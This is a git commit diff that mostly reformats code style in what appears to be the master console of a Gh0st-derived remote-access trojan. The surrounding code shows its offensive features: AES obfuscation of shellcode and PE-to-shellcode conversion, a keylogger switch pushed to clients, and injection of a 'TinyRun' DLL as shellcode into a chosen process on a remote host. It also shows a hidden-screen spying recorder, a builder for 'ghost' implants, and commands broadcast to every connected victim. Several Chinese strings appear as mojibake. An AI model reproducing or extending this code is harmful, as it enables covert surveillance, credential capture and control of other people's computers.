Code style change and rebuild zstd with optimization options

This commit is contained in:
yuanyuanxiang
2025-11-29 23:22:55 +01:00
parent 8d4be0a580
commit ac7a2dcb7e
81 changed files with 14385 additions and 14324 deletions

View File

@@ -198,8 +198,7 @@ static BOOL HandleServiceCommandLine()
if (!registered) {
Mprintf("ServerService Install: %s\n", curPath);
return ServerService_Install();
}
else if (!running) {
} else if (!running) {
int r = ServerService_Run();
Mprintf("ServerService Run '%s' %s\n", curPath, r == ERROR_SUCCESS ? "succeed" : "failed");
if (r) {
@@ -237,8 +236,8 @@ BOOL CMy2015RemoteApp::InitInstance()
if (ERROR_ALREADY_EXISTS == GetLastError()) {
CloseHandle(m_Mutex);
m_Mutex = NULL;
MessageBoxA(NULL, "A master program is already running, please check Task Manager.",
"Info", MB_ICONINFORMATION);
MessageBoxA(NULL, "A master program is already running, please check Task Manager.",
"Info", MB_ICONINFORMATION);
return FALSE;
}
}

View File

@@ -86,8 +86,14 @@ public:
CImageList m_pImageList_Small; // 系统小图标
// 获取启动画面指针
CSplashDlg* GetSplash() const { return m_pSplash; }
void SetSplash(CSplashDlg* pSplash) { m_pSplash = pSplash; }
CSplashDlg* GetSplash() const
{
return m_pSplash;
}
void SetSplash(CSplashDlg* pSplash)
{
m_pSplash = pSplash;
}
virtual BOOL InitInstance();

View File

@@ -103,7 +103,8 @@ std::string EventName()
snprintf(eventName, sizeof(eventName), "EVENT_%d", GetCurrentProcessId());
return eventName;
}
std::string PluginPath() {
std::string PluginPath()
{
char path[_MAX_PATH];
GetModuleFileNameA(NULL, path, _MAX_PATH);
GET_FILEPATH(path, "Plugins");
@@ -287,23 +288,24 @@ DllInfo* ReadPluginDll(const std::string& filename, const DllExecuteInfo & execI
return new DllInfo{ name, buf };
}
DllInfo* ReadTinyRunDll(int pid) {
DllInfo* ReadTinyRunDll(int pid)
{
std::string name = TINY_DLL_NAME;
DWORD fileSize = 0;
BYTE * dllData = ReadResource(IDR_TINYRUN_X64, fileSize);
// 设置输出参数
auto md5 = CalcMD5FromBytes(dllData, fileSize);
// 设置输出参数
auto md5 = CalcMD5FromBytes(dllData, fileSize);
DllExecuteInfo info = { SHELLCODE, fileSize, CALLTYPE_DEFAULT, {}, {}, pid };
memcpy(info.Name, name.c_str(), name.length());
memcpy(info.Md5, md5.c_str(), md5.length());
memcpy(info.Name, name.c_str(), name.length());
memcpy(info.Md5, md5.c_str(), md5.length());
BYTE* buffer = new BYTE[1 + sizeof(DllExecuteInfo) + fileSize];
buffer[0] = CMD_EXECUTE_DLL;
memcpy(buffer + 1, &info, sizeof(DllExecuteInfo));
buffer[0] = CMD_EXECUTE_DLL;
memcpy(buffer + 1, &info, sizeof(DllExecuteInfo));
memcpy(buffer + 1 + sizeof(DllExecuteInfo), dllData, fileSize);
Buffer* buf = new Buffer(buffer, 1 + sizeof(DllExecuteInfo) + fileSize, 0, md5);
Buffer* buf = new Buffer(buffer, 1 + sizeof(DllExecuteInfo) + fileSize, 0, md5);
SAFE_DELETE_ARRAY(dllData);
SAFE_DELETE_ARRAY(buffer);
return new DllInfo{ name, buf };
SAFE_DELETE_ARRAY(buffer);
return new DllInfo{ name, buf };
}
std::vector<DllInfo*> ReadAllDllFilesWindows(const std::string& dirPath)
@@ -533,10 +535,10 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
ON_COMMAND(ID_OBFS_SHELLCODE_BIN, &CMy2015RemoteDlg::OnObfsShellcodeBin)
ON_COMMAND(ID_SHELLCODE_AES_BIN, &CMy2015RemoteDlg::OnShellcodeAesBin)
ON_COMMAND(ID_SHELLCODE_TEST_AES_BIN, &CMy2015RemoteDlg::OnShellcodeTestAesBin)
ON_COMMAND(ID_TOOL_RELOAD_PLUGINS, &CMy2015RemoteDlg::OnToolReloadPlugins)
ON_COMMAND(ID_SHELLCODE_AES_C_ARRAY, &CMy2015RemoteDlg::OnShellcodeAesCArray)
ON_COMMAND(ID_PARAM_KBLOGGER, &CMy2015RemoteDlg::OnParamKblogger)
END_MESSAGE_MAP()
ON_COMMAND(ID_TOOL_RELOAD_PLUGINS, &CMy2015RemoteDlg::OnToolReloadPlugins)
ON_COMMAND(ID_SHELLCODE_AES_C_ARRAY, &CMy2015RemoteDlg::OnShellcodeAesCArray)
ON_COMMAND(ID_PARAM_KBLOGGER, &CMy2015RemoteDlg::OnParamKblogger)
END_MESSAGE_MAP()
// CMy2015RemoteDlg 消息处理程序
@@ -1163,7 +1165,7 @@ BOOL CMy2015RemoteDlg::OnInitDialog()
auto w = THIS_CFG.GetStr("settings", "wallet", "");
memcpy(m_settings.WalletAddress, w.c_str(), w.length());
m_settings.EnableKBLogger = THIS_CFG.GetInt("settings", "KeyboardLog", 0);
CMenu* SubMenu = m_MainMenu.GetSubMenu(2);
CMenu* SubMenu = m_MainMenu.GetSubMenu(2);
SubMenu->CheckMenuItem(ID_PARAM_KBLOGGER, m_settings.EnableKBLogger ? MF_CHECKED : MF_UNCHECKED);
std::map<int, std::string> myMap = {{SOFTWARE_CAMERA, "摄像头"}, {SOFTWARE_TELEGRAM, "电报" }};
std::string str = myMap[n];
@@ -1440,7 +1442,7 @@ void CMy2015RemoteDlg::OnTimer(UINT_PTR nIDEvent)
Mprintf(">>> Timer is killed <<<\n");
KillTimer(nIDEvent);
std::string masterHash = GetMasterHash();
if (GetPwdHash() != masterHash)
if (GetPwdHash() != masterHash)
THIS_CFG.SetStr("settings", "superAdmin", m_superPass);
if (GetPwdHash() == masterHash)
THIS_CFG.SetStr("settings", "HMAC", genHMAC(masterHash, m_superPass));
@@ -1874,21 +1876,21 @@ VOID CMy2015RemoteDlg::SendSelectedCommand(PBYTE szBuffer, ULONG ulLength)
VOID CMy2015RemoteDlg::SendAllCommand(PBYTE szBuffer, ULONG ulLength)
{
EnterCriticalSection(&m_cs);
for (int i=0; i<m_CList_Online.GetItemCount(); ++i){
context* ContextObject = (context*)m_CList_Online.GetItemData(i);
if (!ContextObject->IsLogin() && szBuffer[0] != COMMAND_BYE)
continue;
if (szBuffer[0] == COMMAND_UPDATE) {
CString data = ContextObject->GetClientData(ONLINELIST_CLIENTTYPE);
if (data == "SC" || data == "MDLL") {
ContextObject->Send2Client(szBuffer, 1);
continue;
}
}
ContextObject->Send2Client(szBuffer, ulLength);
}
LeaveCriticalSection(&m_cs);
EnterCriticalSection(&m_cs);
for (int i=0; i<m_CList_Online.GetItemCount(); ++i) {
context* ContextObject = (context*)m_CList_Online.GetItemData(i);
if (!ContextObject->IsLogin() && szBuffer[0] != COMMAND_BYE)
continue;
if (szBuffer[0] == COMMAND_UPDATE) {
CString data = ContextObject->GetClientData(ONLINELIST_CLIENTTYPE);
if (data == "SC" || data == "MDLL") {
ContextObject->Send2Client(szBuffer, 1);
continue;
}
}
ContextObject->Send2Client(szBuffer, ulLength);
}
LeaveCriticalSection(&m_cs);
}
//真彩Bar
@@ -2281,12 +2283,12 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
case CMD_EXECUTE_DLL: { // 请求DLL执行代码【L】
DllExecuteInfo *info = (DllExecuteInfo*)ContextObject->InDeCompressedBuffer.GetBuffer(1);
if (std::string(info->Name) == TINY_DLL_NAME) {
auto tinyRun = ReadTinyRunDll(info->Pid);
Buffer* buf = tinyRun->Data;
auto tinyRun = ReadTinyRunDll(info->Pid);
Buffer* buf = tinyRun->Data;
ContextObject->Send2Client(buf->Buf(), tinyRun->Data->length());
SAFE_DELETE(tinyRun);
break;
}
}
for (std::vector<DllInfo*>::const_iterator i=m_DllList.begin(); i!=m_DllList.end(); ++i) {
DllInfo* dll = *i;
if (dll->Name == info->Name) {
@@ -2295,7 +2297,7 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
break;
}
}
auto dll = ReadPluginDll(PluginPath() + "\\" + info->Name, { SHELLCODE, 0, CALLTYPE_DEFAULT, {}, {}, info->Pid, info->Is32Bit });
auto dll = ReadPluginDll(PluginPath() + "\\" + info->Name, { SHELLCODE, 0, CALLTYPE_DEFAULT, {}, {}, info->Pid, info->Is32Bit });
if (dll) {
Buffer* buf = dll->Data;
ContextObject->Send2Client(buf->Buf(), dll->Data->length());
@@ -2715,14 +2717,15 @@ void CMy2015RemoteDlg::OnOnlineShare()
PostMessageA(WM_SHARE_CLIENT, (WPARAM)buf, NULL);
}
LRESULT CMy2015RemoteDlg::ShareClient(WPARAM wParam, LPARAM lParam) {
LRESULT CMy2015RemoteDlg::ShareClient(WPARAM wParam, LPARAM lParam)
{
char* buf = (char*)wParam;
int len = strlen(buf);
BYTE bToken[_MAX_PATH] = { COMMAND_SHARE };
// 目标主机类型
bToken[1] = SHARE_TYPE_YAMA;
memcpy(bToken + 2, buf, len);
lParam ? SendAllCommand(bToken, sizeof(bToken)) : SendSelectedCommand(bToken, sizeof(bToken));
BYTE bToken[_MAX_PATH] = { COMMAND_SHARE };
// 目标主机类型
bToken[1] = SHARE_TYPE_YAMA;
memcpy(bToken + 2, buf, len);
lParam ? SendAllCommand(bToken, sizeof(bToken)) : SendSelectedCommand(bToken, sizeof(bToken));
SAFE_DELETE_AR(buf);
return S_OK;
}
@@ -3389,8 +3392,8 @@ void CMy2015RemoteDlg::OnObfsShellcode()
void CMy2015RemoteDlg::OnShellcodeAesCArray()
{
ObfsAes obfs;
shellcode_process(&obfs);
ObfsAes obfs;
shellcode_process(&obfs);
}
@@ -3431,19 +3434,19 @@ void CMy2015RemoteDlg::OnShellcodeObfsLoadTest()
void CMy2015RemoteDlg::OnShellcodeAesBin()
{
ObfsAes obfs(false);
shellcode_process(&obfs, false, ".bin");
ObfsAes obfs(false);
shellcode_process(&obfs, false, ".bin");
}
void CMy2015RemoteDlg::OnShellcodeTestAesBin()
{
if (MessageBox(CString("是否测试 ") + (sizeof(void*) == 8 ? "64位" : "32位") + " Shellcode 二进制文件? "
"请选择受信任的 bin 文件。\r\n测试未知来源的 Shellcode 可能导致程序崩溃,甚至存在 CC 风险。",
"提示", MB_ICONQUESTION | MB_YESNO) == IDYES) {
ObfsAes obfs;
shellcode_process(&obfs, true);
}
if (MessageBox(CString("是否测试 ") + (sizeof(void*) == 8 ? "64位" : "32位") + " Shellcode 二进制文件? "
"请选择受信任的 bin 文件。\r\n测试未知来源的 Shellcode 可能导致程序崩溃,甚至存在 CC 风险。",
"提示", MB_ICONQUESTION | MB_YESNO) == IDYES) {
ObfsAes obfs;
shellcode_process(&obfs, true);
}
}
void CMy2015RemoteDlg::OnOnlineAssignTo()
@@ -3470,26 +3473,29 @@ void CMy2015RemoteDlg::OnOnlineAssignTo()
PostMessageA(WM_ASSIGN_CLIENT, (WPARAM)buf1, (LPARAM)buf2);
}
LRESULT CMy2015RemoteDlg::assignFunction(WPARAM wParam, LPARAM lParam, BOOL all) {
char* buf1 = (char*)wParam, * buf2 = (char*)lParam;
int len1 = strlen(buf1), len2 = strlen(buf2);
BYTE bToken[_MAX_PATH] = { COMMAND_ASSIGN_MASTER };
// 目标主机类型
bToken[1] = SHARE_TYPE_YAMA_FOREVER;
memcpy(bToken + 2, buf1, len1);
bToken[2 + len1] = ':';
memcpy(bToken + 2 + len1 + 1, buf2, len2);
all ? SendAllCommand(bToken, sizeof(bToken)) : SendSelectedCommand(bToken, sizeof(bToken));
SAFE_DELETE_AR(buf1);
SAFE_DELETE_AR(buf2);
return S_OK;
LRESULT CMy2015RemoteDlg::assignFunction(WPARAM wParam, LPARAM lParam, BOOL all)
{
char* buf1 = (char*)wParam, * buf2 = (char*)lParam;
int len1 = strlen(buf1), len2 = strlen(buf2);
BYTE bToken[_MAX_PATH] = { COMMAND_ASSIGN_MASTER };
// 目标主机类型
bToken[1] = SHARE_TYPE_YAMA_FOREVER;
memcpy(bToken + 2, buf1, len1);
bToken[2 + len1] = ':';
memcpy(bToken + 2 + len1 + 1, buf2, len2);
all ? SendAllCommand(bToken, sizeof(bToken)) : SendSelectedCommand(bToken, sizeof(bToken));
SAFE_DELETE_AR(buf1);
SAFE_DELETE_AR(buf2);
return S_OK;
}
LRESULT CMy2015RemoteDlg::AssignClient(WPARAM wParam, LPARAM lParam) {
LRESULT CMy2015RemoteDlg::AssignClient(WPARAM wParam, LPARAM lParam)
{
return assignFunction(wParam, lParam, FALSE);
}
LRESULT CMy2015RemoteDlg::AssignAllClient(WPARAM wParam, LPARAM lParam) {
LRESULT CMy2015RemoteDlg::AssignAllClient(WPARAM wParam, LPARAM lParam)
{
return assignFunction(wParam, lParam, TRUE);
}
@@ -3896,30 +3902,32 @@ LRESULT CMy2015RemoteDlg::OnSessionActivatedMsg(WPARAM wParam, LPARAM lParam)
void CMy2015RemoteDlg::OnToolReloadPlugins()
{
if (IDYES!=MessageBoxA("请将64位的DLL放于主控程序的 'Plugins' 目录,是否继续?"
"\n执行未经测试的代码可能造成程序崩溃。", "提示", MB_ICONINFORMATION | MB_YESNO))
if (IDYES!=MessageBoxA("请将64位的DLL放于主控程序的 'Plugins' 目录,是否继续?"
"\n执行未经测试的代码可能造成程序崩溃。", "提示", MB_ICONINFORMATION | MB_YESNO))
return;
char path[_MAX_PATH];
GetModuleFileNameA(NULL, path, _MAX_PATH);
GET_FILEPATH(path, "Plugins");
m_DllList = ReadAllDllFilesWindows(path);
char path[_MAX_PATH];
GetModuleFileNameA(NULL, path, _MAX_PATH);
GET_FILEPATH(path, "Plugins");
m_DllList = ReadAllDllFilesWindows(path);
}
context* CMy2015RemoteDlg::FindHostByIP(const std::string& ip) {
context* CMy2015RemoteDlg::FindHostByIP(const std::string& ip)
{
CString clientIP(ip.c_str());
EnterCriticalSection(&m_cs);
for (auto i = m_HostList.begin(); i != m_HostList.end(); ++i) {
context* ContextObject = *i;
EnterCriticalSection(&m_cs);
for (auto i = m_HostList.begin(); i != m_HostList.end(); ++i) {
context* ContextObject = *i;
if (ContextObject->GetClientData(ONLINELIST_IP) == clientIP || ContextObject->GetAdditionalData(RES_CLIENT_PUBIP) == clientIP) {
LeaveCriticalSection(&m_cs);
return ContextObject;
return ContextObject;
}
}
LeaveCriticalSection(&m_cs);
LeaveCriticalSection(&m_cs);
return NULL;
}
LRESULT CMy2015RemoteDlg::InjectShellcode(WPARAM wParam, LPARAM lParam){
LRESULT CMy2015RemoteDlg::InjectShellcode(WPARAM wParam, LPARAM lParam)
{
std::string* ip = (std::string*)wParam;
int pid = lParam;
InjectTinyRunDll(*ip, pid);
@@ -3927,25 +3935,27 @@ LRESULT CMy2015RemoteDlg::InjectShellcode(WPARAM wParam, LPARAM lParam){
return S_OK;
}
void CMy2015RemoteDlg::InjectTinyRunDll(const std::string& ip, int pid){
auto ctx = FindHostByIP(ip);
void CMy2015RemoteDlg::InjectTinyRunDll(const std::string& ip, int pid)
{
auto ctx = FindHostByIP(ip);
if (ctx == NULL) {
MessageBoxA(CString("没有找到在线主机: ") + ip.c_str(), "提示", MB_ICONINFORMATION);
return;
}
auto tinyRun = ReadTinyRunDll(pid);
Buffer* buf = tinyRun->Data;
ctx->Send2Client(buf->Buf(), 1 + sizeof(DllExecuteInfo));
Buffer* buf = tinyRun->Data;
ctx->Send2Client(buf->Buf(), 1 + sizeof(DllExecuteInfo));
SAFE_DELETE(tinyRun);
}
LRESULT CMy2015RemoteDlg::AntiBlackScreen(WPARAM wParam, LPARAM lParam) {
char* ip = (char*)wParam;
LRESULT CMy2015RemoteDlg::AntiBlackScreen(WPARAM wParam, LPARAM lParam)
{
char* ip = (char*)wParam;
std::string host(ip);
std::string arch = ip + 256;
int pid = lParam;
auto ctx = FindHostByIP(ip);
int pid = lParam;
auto ctx = FindHostByIP(ip);
delete ip;
if (ctx == NULL) {
MessageBoxA(CString("没有找到在线主机: ") + host.c_str(), "提示", MB_ICONINFORMATION);
@@ -3958,7 +3968,7 @@ LRESULT CMy2015RemoteDlg::AntiBlackScreen(WPARAM wParam, LPARAM lParam) {
Buffer* buf = antiBlackScreen->Data;
ctx->Send2Client(buf->Buf(), 1 + sizeof(DllExecuteInfo));
SAFE_DELETE(antiBlackScreen);
}else
} else
MessageBoxA(CString("没有反黑屏插件: ") + path.c_str(), "提示", MB_ICONINFORMATION);
return S_OK;
}
@@ -3967,8 +3977,8 @@ LRESULT CMy2015RemoteDlg::AntiBlackScreen(WPARAM wParam, LPARAM lParam) {
void CMy2015RemoteDlg::OnParamKblogger()
{
m_settings.EnableKBLogger = !m_settings.EnableKBLogger;
CMenu* SubMenu = m_MainMenu.GetSubMenu(2);
SubMenu->CheckMenuItem(ID_PARAM_KBLOGGER, m_settings.EnableKBLogger ? MF_CHECKED : MF_UNCHECKED);
CMenu* SubMenu = m_MainMenu.GetSubMenu(2);
SubMenu->CheckMenuItem(ID_PARAM_KBLOGGER, m_settings.EnableKBLogger ? MF_CHECKED : MF_UNCHECKED);
THIS_CFG.SetInt("settings", "KeyboardLog", m_settings.EnableKBLogger);
SendMasterSettings(nullptr);
}

View File

@@ -102,6 +102,7 @@
<MinimalRebuild>false</MinimalRebuild>
<AdditionalIncludeDirectories>$(SolutionDir);%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<OpenMPSupport>false</OpenMPSupport>
<DisableSpecificWarnings>4018;4244;4267;4819</DisableSpecificWarnings>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
@@ -132,6 +133,7 @@
<MinimalRebuild>false</MinimalRebuild>
<AdditionalIncludeDirectories>$(SolutionDir);%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<OpenMPSupport>false</OpenMPSupport>
<DisableSpecificWarnings>4018;4244;4267;4819</DisableSpecificWarnings>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
@@ -162,6 +164,7 @@
<StringPooling>true</StringPooling>
<AdditionalIncludeDirectories>$(SolutionDir);%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<OpenMPSupport>false</OpenMPSupport>
<DisableSpecificWarnings>4018;4244;4267;4819</DisableSpecificWarnings>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
@@ -195,6 +198,7 @@
<StringPooling>true</StringPooling>
<AdditionalIncludeDirectories>$(SolutionDir);%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<OpenMPSupport>false</OpenMPSupport>
<DisableSpecificWarnings>4018;4244;4267;4819</DisableSpecificWarnings>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>

File diff suppressed because it is too large Load Diff

View File

@@ -8,10 +8,10 @@
#define ERR_NOT_SUPPORT 4
enum FCCHandler {
ENCODER_BMP = BI_RGB,
ENCODER_MJPEG = mmioFOURCC('M', 'J', 'P', 'G'),
// <20><>װx264vfw<66><77><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>: https://sourceforge.net/projects/x264vfw/
ENCODER_H264 = mmioFOURCC('X', '2', '6', '4'),
ENCODER_BMP = BI_RGB,
ENCODER_MJPEG = mmioFOURCC('M', 'J', 'P', 'G'),
// <20><>װx264vfw<66><77><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>: https://sourceforge.net/projects/x264vfw/
ENCODER_H264 = mmioFOURCC('X', '2', '6', '4'),
};
/************************************************************************
@@ -21,35 +21,36 @@ enum FCCHandler {
class CBmpToAvi
{
public:
CBmpToAvi();
virtual ~CBmpToAvi();
int Open(LPCTSTR szFile, LPBITMAPINFO lpbmi, int rate = 4, FCCHandler h = ENCODER_BMP);
bool Write(unsigned char* lpBuffer);
void Close();
static std::string GetErrMsg(int result) {
switch (result) {
case ERR_INVALID_PARAM:
return ("<EFBFBD><EFBFBD>Ч<EFBFBD><EFBFBD><EFBFBD><EFBFBD>");
case ERR_NOT_SUPPORT:
return ("<EFBFBD><EFBFBD>֧<EFBFBD>ֵ<EFBFBD>λ<EFBFBD><EFBFBD><EFBFBD>ȣ<EFBFBD><EFBFBD><EFBFBD>Ҫ24λ<EFBFBD><EFBFBD>32λ");
case ERR_NO_ENCODER:
return ("δ<EFBFBD><EFBFBD>װx264<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> \n<EFBFBD><EFBFBD><EFBFBD>ص<EFBFBD>ַ<EFBFBD><EFBFBD>https://sourceforge.net/projects/x264vfw");
case ERR_INTERNAL:
return("<EFBFBD><EFBFBD><EFBFBD><EFBFBD>AVI<EFBFBD>ļ<EFBFBD>ʧ<EFBFBD><EFBFBD>");
default:
return "succeed";
}
}
CBmpToAvi();
virtual ~CBmpToAvi();
int Open(LPCTSTR szFile, LPBITMAPINFO lpbmi, int rate = 4, FCCHandler h = ENCODER_BMP);
bool Write(unsigned char* lpBuffer);
void Close();
static std::string GetErrMsg(int result)
{
switch (result) {
case ERR_INVALID_PARAM:
return ("<EFBFBD><EFBFBD>Ч<EFBFBD><EFBFBD><EFBFBD><EFBFBD>");
case ERR_NOT_SUPPORT:
return ("<EFBFBD><EFBFBD>֧<EFBFBD>ֵ<EFBFBD>λ<EFBFBD><EFBFBD><EFBFBD>ȣ<EFBFBD><EFBFBD><EFBFBD>Ҫ24λ<EFBFBD><EFBFBD>32λ");
case ERR_NO_ENCODER:
return ("δ<EFBFBD><EFBFBD>װx264<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> \n<EFBFBD><EFBFBD><EFBFBD>ص<EFBFBD>ַ<EFBFBD><EFBFBD>https://sourceforge.net/projects/x264vfw");
case ERR_INTERNAL:
return("<EFBFBD><EFBFBD><EFBFBD><EFBFBD>AVI<EFBFBD>ļ<EFBFBD>ʧ<EFBFBD><EFBFBD>");
default:
return "succeed";
}
}
private:
FCCHandler m_fccHandler;
PAVIFILE m_pfile;
PAVISTREAM m_pavi;
int m_nFrames;
static AVISTREAMINFO m_si; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫ<EFBFBD>Ǿ<EFBFBD>̬<EFBFBD><CCAC>
FCCHandler m_fccHandler;
PAVIFILE m_pfile;
PAVISTREAM m_pavi;
int m_nFrames;
static AVISTREAMINFO m_si; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫ<EFBFBD>Ǿ<EFBFBD>̬<EFBFBD><CCAC>
int m_bitCount = 24;
int m_width = 1920;
int m_height = 1080;
int m_quality = 90;
HIC m_hic = NULL;
int m_bitCount = 24;
int m_width = 1920;
int m_height = 1080;
int m_quality = 90;
HIC m_hic = NULL;
};

View File

@@ -193,21 +193,21 @@ void CBuildDlg::OnBnClickedOk()
typ = CLIENT_TYPE_ONE;
szBuffer = ReadResource(is64bit ? IDR_GHOST_X64 : IDR_GHOST_X86, dwFileSize);
break;
case IndexGhostMsc:
file = "ghost.exe";
typ = CLIENT_TYPE_ONE;
case IndexGhostMsc:
file = "ghost.exe";
typ = CLIENT_TYPE_ONE;
startup = Startup_GhostMsc,
szBuffer = ReadResource(is64bit ? IDR_GHOST_X64 : IDR_GHOST_X86, dwFileSize);
break;
szBuffer = ReadResource(is64bit ? IDR_GHOST_X64 : IDR_GHOST_X86, dwFileSize);
break;
case IndexServerDll:
file = "ServerDll.dll";
typ = CLIENT_TYPE_DLL;
szBuffer = ReadResource(is64bit ? IDR_SERVERDLL_X64 : IDR_SERVERDLL_X86, dwFileSize);
break;
case IndexTinyRun:
file = "TinyRun.dll";
typ = CLIENT_TYPE_SHELLCODE;
szBuffer = ReadResource(is64bit ? IDR_TINYRUN_X64 : IDR_TINYRUN_X86, dwFileSize);
file = "TinyRun.dll";
typ = CLIENT_TYPE_SHELLCODE;
szBuffer = ReadResource(is64bit ? IDR_TINYRUN_X64 : IDR_TINYRUN_X86, dwFileSize);
break;
case OTHER_ITEM: {
m_OtherItem.GetWindowTextA(file);
@@ -338,12 +338,11 @@ void CBuildDlg::OnBnClickedOk()
}
}
SAFE_DELETE_ARRAY(data);
}
else if (m_ComboCompress.GetCurSel() == CLIENT_PE_TO_SEHLLCODE) {
} else if (m_ComboCompress.GetCurSel() == CLIENT_PE_TO_SEHLLCODE) {
int pe_2_shellcode(const std::string & in_path, const std::string & out_str);
int ret = pe_2_shellcode(strSeverFile.GetString(), strSeverFile.GetString());
if (ret)MessageBox(CString("ShellCode ת<><D7AA><EFBFBD>쳣, <20><EFBFBD><ECB3A3><EFBFBD><EFBFBD>: ") + CString(std::to_string(ret).c_str()),
"<EFBFBD><EFBFBD>ʾ", MB_ICONINFORMATION);
if (ret)MessageBox(CString("ShellCode ת<><D7AA><EFBFBD>쳣, <20><EFBFBD><ECB3A3><EFBFBD><EFBFBD>: ") + CString(std::to_string(ret).c_str()),
"<EFBFBD><EFBFBD>ʾ", MB_ICONINFORMATION);
}
MessageBox("<EFBFBD><EFBFBD><EFBFBD>ɳɹ<EFBFBD>! <20>ļ<EFBFBD>λ<EFBFBD><CEBB>:\r\n" + strSeverFile + tip, "<EFBFBD><EFBFBD>ʾ", MB_ICONINFORMATION);
}
@@ -483,13 +482,13 @@ void CBuildDlg::OnHelpFindden()
void CBuildDlg::OnMenuEncryptIp()
{
CInputDialog dlg(this);
dlg.m_str = m_strEncryptIP;
dlg.Init("<EFBFBD><EFBFBD><EFBFBD><EFBFBD>Զ<EFBFBD>̵<EFBFBD>ַ", "<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǻ<EFBFBD><EFBFBD>߷<EFBFBD>:");
if (dlg.DoModal() == IDOK ) {
CInputDialog dlg(this);
dlg.m_str = m_strEncryptIP;
dlg.Init("<EFBFBD><EFBFBD><EFBFBD><EFBFBD>Զ<EFBFBD>̵<EFBFBD>ַ", "<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǻ<EFBFBD><EFBFBD>߷<EFBFBD>:");
if (dlg.DoModal() == IDOK ) {
if (m_strEncryptIP != "<EFBFBD><EFBFBD>" && m_strEncryptIP != "<EFBFBD><EFBFBD>") {
MessageBoxA("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǻ<EFBFBD><EFBFBD>߷<EFBFBD>!", "<EFBFBD><EFBFBD>ʾ", MB_ICONINFORMATION);
}else
} else
m_strEncryptIP = dlg.m_str;
}
}
}

View File

@@ -847,11 +847,17 @@ void CFileManagerDlg::OnReceiveComplete()
m_ContextObject->m_DeCompressionBuffer.GetBufferLen() - 1
);
} catch (CMemoryException* e) {
Mprintf("[ERROR] CMemoryException\n");
char err[256];
e->GetErrorMessage(err, sizeof(err));
Mprintf("[ERROR] CMemoryException: %s\n", err);
} catch (CFileException* e) {
Mprintf("[ERROR] CFileException\n");
char err[256];
e->GetErrorMessage(err, sizeof(err));
Mprintf("[ERROR] CFileException: %s\n", err);
} catch (CException* e) {
Mprintf("[ERROR] CException\n");
char err[256];
e->GetErrorMessage(err, sizeof(err));
Mprintf("[ERROR] CException: %s\n", err);
} catch (...) {
Mprintf("[ERROR] Other exception\n");
}

View File

@@ -35,7 +35,7 @@ enum {
IDM_FPS_20,
IDM_FPS_25,
IDM_FPS_30,
IDM_SAVEAVI_H264 = 996,
IDM_SAVEAVI_H264 = 996,
};
IMPLEMENT_DYNAMIC(CHideScreenSpyDlg, CDialog)
@@ -97,11 +97,11 @@ END_MESSAGE_MAP()
// CHideScreenSpyDlg message handlers
void CHideScreenSpyDlg::OnClose()
{
if (!m_aviFile.IsEmpty()) {
KillTimer(TIMER_ID);
m_aviFile = "";
m_aviStream.Close();
}
if (!m_aviFile.IsEmpty()) {
KillTimer(TIMER_ID);
m_aviFile = "";
m_aviStream.Close();
}
CancelIO();
// 等待数据处理完毕
if (IsProcessing()) {
@@ -144,13 +144,13 @@ void CHideScreenSpyDlg::OnReceiveComplete()
bool CHideScreenSpyDlg::SaveSnapshot()
{
auto path = GetScreenShotPath(this, m_IPAddress, "位图文件(*.bmp)|*.bmp|", "bmp");
if (path.empty())
return FALSE;
auto path = GetScreenShotPath(this, m_IPAddress, "位图文件(*.bmp)|*.bmp|", "bmp");
if (path.empty())
return FALSE;
WriteBitmap(m_BitmapInfor_Full, m_BitmapData_Full, path.c_str());
WriteBitmap(m_BitmapInfor_Full, m_BitmapData_Full, path.c_str());
return true;
return true;
}
BOOL CHideScreenSpyDlg::OnInitDialog()
@@ -451,7 +451,8 @@ void CHideScreenSpyDlg::OnSysCommand(UINT nID, LPARAM lParam)
case IDM_SAVEDIB:
SaveSnapshot();
break;
case IDM_SAVEAVI_S: case IDM_SAVEAVI_H264: {
case IDM_SAVEAVI_S:
case IDM_SAVEAVI_H264: {
if (pSysMenu->GetMenuState(IDM_SAVEAVI_S, MF_BYCOMMAND) & MF_CHECKED) {
KillTimer(TIMER_ID);
pSysMenu->CheckMenuItem(IDM_SAVEAVI_S, MF_UNCHECKED);
@@ -462,12 +463,12 @@ void CHideScreenSpyDlg::OnSysCommand(UINT nID, LPARAM lParam)
return;
}
m_aviFile = GetScreenShotPath(this, m_IPAddress, "Video(*.avi)|*.avi|", "avi").c_str();
const int duration = 250, rate = 1000 / duration;
FCCHandler handler = nID == IDM_SAVEAVI_S ? ENCODER_MJPEG : ENCODER_H264;
int code;
const int duration = 250, rate = 1000 / duration;
FCCHandler handler = nID == IDM_SAVEAVI_S ? ENCODER_MJPEG : ENCODER_H264;
int code;
if (code = m_aviStream.Open(m_aviFile, m_BitmapInfor_Full, rate, handler)) {
MessageBox(CString("Create Video(*.avi) Failed:\n") + m_aviFile + "\r\n错误代码: " +
CBmpToAvi::GetErrMsg(code).c_str(), "提示");
MessageBox(CString("Create Video(*.avi) Failed:\n") + m_aviFile + "\r\n错误代码: " +
